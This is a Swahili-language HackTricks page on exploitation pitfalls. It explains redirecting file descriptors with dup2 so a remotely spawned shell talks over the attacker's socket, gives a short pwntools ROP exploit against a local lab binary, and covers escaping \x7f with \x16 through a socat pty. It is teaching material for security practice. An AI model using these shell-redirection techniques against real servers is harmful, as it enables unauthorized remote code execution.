Matatizo ya Kawaida ya Kutumia

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

FDs katika Utekelezaji wa Mbali

Wakati wa kutuma exploit kwa seva ya mbali inayopiga system('/bin/sh') kwa mfano, hii itatekelezwa katika mchakato wa seva, na /bin/sh itatarajia pembejeo kutoka stdin (FD: 0) na itachapisha matokeo katika stdout na stderr (FDs 1 na 2). Hivyo, mshambuliaji hataweza kuingiliana na shell.

Njia moja ya kutatua hili ni kudhani kwamba wakati seva ilianza iliumba FD nambari 3 (kwa kusikiliza) na kwamba kisha, muunganisho wako utaenda kuwa katika FD nambari 4. Hivyo, inawezekana kutumia syscall dup2 kuiga stdin (FD 0) na stdout (FD 1) katika FD 4 (ya muunganisho wa mshambuliaji) ili kufanya iwezekane kuwasiliana na shell mara itakapotekelezwa.

Mfano wa exploit kutoka hapa:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Kumbuka kwamba socat tayari inahamisha stdin na stdout kwa socket. Hata hivyo, hali ya pty inasababisha kuondolewa kwa wahusika. Hivyo, ikiwa utatuma \x7f ( DELETE -) it itaondoa wahusika wa awali wa exploit yako.

Ili kupita hili, mhusika wa kukimbia \x16 lazima aongezwe kabla ya yoyote \x7f inayotumwa.

Hapa unaweza kupata mfano wa tabia hii.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks